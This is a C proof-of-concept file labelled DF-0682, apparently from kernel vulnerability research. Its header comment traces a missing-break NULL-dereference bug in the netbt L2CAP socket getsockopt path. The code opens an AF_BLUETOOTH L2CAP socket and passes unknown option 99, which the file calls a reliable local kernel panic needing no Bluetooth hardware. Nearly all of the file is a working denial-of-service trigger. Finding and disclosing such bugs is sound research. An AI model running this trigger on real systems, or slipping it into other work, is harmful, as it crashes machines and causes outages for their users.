DF-0682 / trigger.c
/* * DF-0682 trigger: l2cap_socket.c PRCO_GETOPT missing-break NULL-deref panic. * * Mechanism (sys/netbt/l2cap_socket.c:118-132): * case PRCO_GETOPT: * m = m_get(M_NOWAIT, MT_DATA); * ... * m->m_len = l2cap_getopt(pcb, sopt_name, mtod(m, void *)); // :125 -> 0 unknown * if (m->m_len == 0) { * m_freem(m); m = NULL; error = ENOPROTOOPT; // :126-129 * } * soopt_from_kbuf(sopt, mtod(m, void *), m->m_len); // :131 mtod(NULL) => panic * * Trigger: socket(AF_BLUETOOTH, SOCK_SEQPACKET, BTPROTO_L2CAP) then * getsockopt with any unknown option number (e.g. 99). 100% reliable * local kernel panic when netbt.ko is loaded. No BT hardware needed. * * Mechanically identical to DF-0680 (rfcomm) and DF-0687 (sco). */ #include <sys/types.h> #include <sys/socket.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <errno.h> #define AF_BLUETOOTH 33 #define BTPROTO_L2CAP 2 int main(void) { int fd, rc; socklen_t len; char buf[64]; printf("[*] DF-0682: L2CAP PRCO_GETOPT missing-break panic trigger\n"); printf("[*] opening AF_BLUETOOTH/SOCK_SEQPACKET/BTPROTO_L2CAP socket\n"); fd = socket(AF_BLUETOOTH, SOCK_SEQPACKET, BTPROTO_L2CAP); if (fd < 0) { printf("[!] socket() failed: %s (errno=%d)\n", strerror(errno), errno); if (errno == EPROTONOSUPPORT || errno == EPROTOTYPE || errno == EPFNOSUPPORT) printf("[!] netbt.ko not loaded? load with: kldload netbt.ko\n"); return 2; } printf("[+] socket fd=%d allocated\n", fd); printf("[*] getsockopt(fd, BTPROTO_L2CAP, 99=unknown, ...) -> expect kernel panic\n"); fflush(stdout); len = sizeof(buf); memset(buf, 0, sizeof(buf)); /* optname=99 -- not SO_L2CAP_IMTU(1)..LM(6); l2cap_getopt returns 0 */ rc = getsockopt(fd, BTPROTO_L2CAP, 99, buf, &len); printf("[!] getsockopt returned %d (errno=%d %s) -- NO PANIC\n", rc, errno, strerror(errno)); close(fd); return 0; } |